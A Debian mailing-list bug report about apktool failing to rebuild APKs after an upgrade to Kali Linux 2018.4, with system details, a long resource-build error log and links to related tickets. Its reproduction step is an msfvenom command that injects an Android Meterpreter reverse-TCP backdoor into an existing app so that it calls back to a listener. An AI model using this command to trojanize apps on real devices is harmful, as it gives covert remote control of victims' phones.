[Android-tools-devel] Bug#915225: apktool fails to rebuild APK after upgrade to Kali Linux 2018.4

Sajid Nawaz Khan snkhan at outlook.com
Sat Dec 1 21:04:18 GMT 2018


Package: apktool
Version: v2.3.4-dirty
Severity: important


Apologies if this report is not in the correct format; I attempted to use `reportbug` within Kali but both the GUI and Text tool attempts crashed the bug reporter.


Some additional details about my setup, to assist with this bug
Distribution: Kali Linux 2018.4, running virtualised within VMWare.
Static hostname: kali
Icon name: computer-vm
Chassis: vm
Virtualization: vmware
Operating System: Kali GNU/Linux Rolling
Kernel: Linux 4.18.0-kali2-amd64
Architecture: x86-64


The Issue
Since upgrading to a fresh and clean install of Kali Linux 2018.4, msfvenom is unable to generate weaponised APKs. An identical command worked prior to the update.


How'd you do it?
`apt-get install zipalign`
`apt-get install lib32stdc++6 lib32ncurses6 lib32z1++`
`msfvenom -x /root/Downloads/Diary.apk -p android/meterpreter/reverse_tcp LHOST=192.168.224.129 LPORT=4444 -f raw -o /root/Desktop/Diary.apk`


Expected behaviour -- What should happen?
msfvenom should decompile, inject payload, and recompile the APK. An APK should be generated.


What Happens Currently
<snip>
I: Building resources...
W: /tmp/d20181125-19831-1akn8q0/original/res/values/public.xml:97: error: Public symbol array/activities declared here is not defined.
W: /tmp/d20181125-19831-1akn8q0/original/res/values/public.xml:98: error: Public symbol array/font_family declared here is not defined.
W: /tmp/d20181125-19831-1akn8q0/original/res/values/public.xml:99: error: Public symbol array/font_family_values declared here is not defined.
W: /tmp/d20181125-19831-1akn8q0/original/res/values/public.xml:100: error: Public symbol array/font_size declared here is not defined.
W: /tmp/d20181125-19831-1akn8q0/original/res/values/public.xml:101: error: Public symbol array/font_size_values declared here is not defined.
W: /tmp/d20181125-19831-1akn8q0/original/res/values/public.xml:102: error: Public symbol array/jazzy_effects declared here is not defined.
W: /tmp/d20181125-19831-1akn8q0/original/res/values/public.xml:103: error: Public symbol array/line_spacing declared here is not defined.
W: /tmp/d20181125-19831-1akn8q0/original/res/values/public.xml:104: error: Public symbol array/line_spacing_values declared here is not defined.
W: /tmp/d20181125-19831-1akn8q0/original/res/values/public.xml:105: error: Public symbol array/temp_unit declared here is not defined.
W: /tmp/d20181125-19831-1akn8q0/original/res/values/public.xml:106: error: Public symbol array/temp_unit_values declared here is not defined.
W: /tmp/d20181125-19831-1akn8q0/original/res/values/public.xml:107: error: Public symbol array/theme_values declared here is not defined.
W: /tmp/d20181125-19831-1akn8q0/original/res/values/public.xml:108: error: Public symbol array/time_format declared here is not defined.
W: /tmp/d20181125-19831-1akn8q0/original/res/values/public.xml:109: error: Public symbol array/time_format_values declared here is not defined.
W: /tmp/d20181125-19831-1akn8q0/original/res/values/public.xml:110: error: Public symbol array/timeout declared here is not defined.
W: /tmp/d20181125-19831-1akn8q0/original/res/values/public.xml:111: error: Public symbol array/timeout_values declared here is not defined.
brut.androlib.AndrolibException: brut.common.BrutException: could not exec (exit code = 1): [/tmp/brut_util_Jar_13823034621095822413.tmp, p, --forced-package-id, 127, --min-sdk-version, 16, --target-sdk-version, 28, --version-code, 341, --version-name, 2.7.1, --no-version-vectors, -F, /tmp/APKTOOL1448141242914440406.tmp, -0, arsc, -0, META-INF/android.support.design_material.version, -0, META-INF/androidx.appcompat_appcompat.version, -0, META-INF/androidx.arch.core_core-runtime.version, -0, META-INF/androidx.asynclayoutinflater_asynclayoutinflater.version, -0, META-INF/androidx.browser_browser.version, -0, META-INF/androidx.cardview_cardview.version, -0, META-INF/androidx.coordinatorlayout_coordinatorlayout.version, -0, META-INF/androidx.core_core.version, -0, META-INF/androidx.cursoradapter_cursoradapter.version, -0, META-INF/androidx.customview_customview.version, -0, META-INF/androidx.documentfile_documentfile.version, -0, META-INF/androidx.drawerlayout_drawerlayout.version, -0, META-INF/androidx.fragment_fragment.version, -0, META-INF/androidx.interpolator_interpolator.version, -0, META-INF/androidx.legacy_legacy-support-core-ui.version, -0, META-INF/androidx.legacy_legacy-support-core-utils.version, -0, META-INF/androidx.legacy_legacy-support-v4.version, -0, META-INF/androidx.lifecycle_lifecycle-livedata-core.version, -0, META-INF/androidx.lifecycle_lifecycle-livedata.version, -0, META-INF/androidx.lifecycle_lifecycle-runtime.version, -0, META-INF/androidx.lifecycle_lifecycle-viewmodel.version, -0, META-INF/androidx.loader_loader.version, -0, META-INF/androidx.localbroadcastmanager_localbroadcastmanager.version, -0, META-INF/androidx.media_media.version, -0, META-INF/androidx.percentlayout_percentlayout.version, -0, META-INF/androidx.preference_preference.version, -0, META-INF/androidx.print_print.version, -0, META-INF/androidx.recyclerview_recyclerview.version, -0, META-INF/androidx.slidingpanelayout_slidingpanelayout.version, -0, META-INF/androidx.swiperefreshlayout_swiperefreshlayout.version, -0, META-INF/androidx.transition_transition.version, -0, META-INF/androidx.vectordrawable_vectordrawable-animated.version, -0, META-INF/androidx.vectordrawable_vectordrawable.version, -0, META-INF/androidx.versionedparcelable_versionedparcelable.version, -0, META-INF/androidx.viewpager_viewpager.version, -0, META-INF/com.google.android.material_material.version, -0, META-INF/services/com.github.scribejava.core.httpclient.HttpClientProvider, -0, META-INF/services/io.grpc.ManagedChannelProvider, -0, META-INF/services/io.grpc.NameResolverProvider, -0, png, -0, jpg, -0, res/drawable-hdpi-v4/colorstrip_shadow.9.png, -0, res/drawable-ldrtl-xxhdpi-v17/abc_spinner_mtrl_am_alpha.9.png, -0, res/drawable-xhdpi-v4/com_facebook_tooltip_black_background.9.png, -0, res/drawable-xhdpi-v4/com_facebook_tooltip_blue_background.9.png, -0, res/drawable-xhdpi-v4/notification_bg_low_normal.9.png, -0, res/drawable-xhdpi-v4/notification_bg_low_pressed.9.png, -0, res/drawable-xhdpi-v4/notification_bg_normal.9.png, -0, res/drawable-xhdpi-v4/notification_bg_normal_pressed.9.png, -0, res/drawable-xxhdpi-v4/abc_ab_share_pack_mtrl_alpha.9.png, -0, res/drawable-xxhdpi-v4/abc_btn_switch_to_on_mtrl_00001.9.png, -0, res/drawable-xxhdpi-v4/abc_btn_switch_to_on_mtrl_00012.9.png, -0, res/drawable-xxhdpi-v4/abc_cab_background_top_mtrl_alpha.9.png, -0, res/drawable-xxhdpi-v4/abc_list_divider_mtrl_alpha.9.png, -0, res/drawable-xxhdpi-v4/abc_list_focused_holo.9.png, -0, res/drawable-xxhdpi-v4/abc_list_longpressed_holo.9.png, -0, res/drawable-xxhdpi-v4/abc_list_pressed_holo_dark.9.png, -0, res/drawable-xxhdpi-v4/abc_list_pressed_holo_light.9.png, -0, res/drawable-xxhdpi-v4/abc_list_selector_disabled_holo_dark.9.png, -0, res/drawable-xxhdpi-v4/abc_list_selector_disabled_holo_light.9.png, -0, res/drawable-xxhdpi-v4/abc_menu_hardkey_panel_mtrl_mult.9.png, -0, res/drawable-xxhdpi-v4/abc_popup_background_mtrl_mult.9.png, -0, res/drawable-xxhdpi-v4/abc_scrubber_primary_mtrl_alpha.9.png, -0, res/drawable-xxhdpi-v4/abc_scrubber_track_mtrl_alpha.9.png, -0, res/drawable-xxhdpi-v4/abc_spinner_mtrl_am_alpha.9.png, -0, res/drawable-xxhdpi-v4/abc_switch_track_mtrl_alpha.9.png, -0, res/drawable-xxhdpi-v4/abc_tab_indicator_mtrl_alpha.9.png, -0, res/drawable-xxhdpi-v4/abc_textfield_activated_mtrl_alpha.9.png, -0, res/drawable-xxhdpi-v4/abc_textfield_default_mtrl_alpha.9.png, -0, res/drawable-xxhdpi-v4/abc_textfield_search_activated_mtrl_alpha.9.png, -0, res/drawable-xxhdpi-v4/abc_textfield_search_default_mtrl_alpha.9.png, -0, res/drawable-xxhdpi-v4/amu_bubble_mask.9.png, -0, res/drawable-xxhdpi-v4/amu_bubble_shadow.9.png, -0, res/drawable-xxhdpi-v4/common_google_signin_btn_icon_dark_normal_background.9.png, -0, res/drawable-xxhdpi-v4/common_google_signin_btn_icon_light_normal_background.9.png, -0, res/drawable-xxhdpi-v4/common_google_signin_btn_text_dark_normal_background.9.png, -0, res/drawable-xxhdpi-v4/common_google_signin_btn_text_light_normal_background.9.png, -0, gif, -0, arsc, -I, /root/.local/share/apktool/framework/1.apk, -S, /tmp/d20181125-19831-1akn8q0/original/res, -M, /tmp/d20181125-19831-1akn8q0/original/AndroidManifest.xml]
Error: Unable to rebuild apk with apktool


MetaSploit Version
Framework: 4.17.26-dev
Console : 4.17.26-dev


I have raised a ticket within Github where we have systematically tried to troubleshoot the issue:
https://github.com/rapid7/metasploit-framework/issues/11024


A ticket has also been raised with Kali maintainers, who have requested that the ticket be raised with Debian:
https://bugs.kali.org/view.php?id=5126

"I did notice that Debian's bump to 2.3.4 removed a packaged jar file, but after attempting to roll back that patch, I had the same issue. I also tried older versions from Debian Sid (2.2.1) but was unable to get msfvenom to use it. I do believe this bug should be opened with Debian."


I have discussed the issue with the apktool maintainer over at the Gitter Chat, who advised that the issue is not impacting other non-Debian users, so is likely to have been caused due to some recent changes.


TL;DR
Identical command worked in 2018.3, does not work in 2018.4. Appears that apktool broke based on dependancy or other changes introduced in 2018.4.

Really grateful for any help!
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://alioth-lists.debian.net/pipermail/android-tools-devel/attachments/20181201/3e1b1539/attachment.html>


More information about the Android-tools-devel mailing list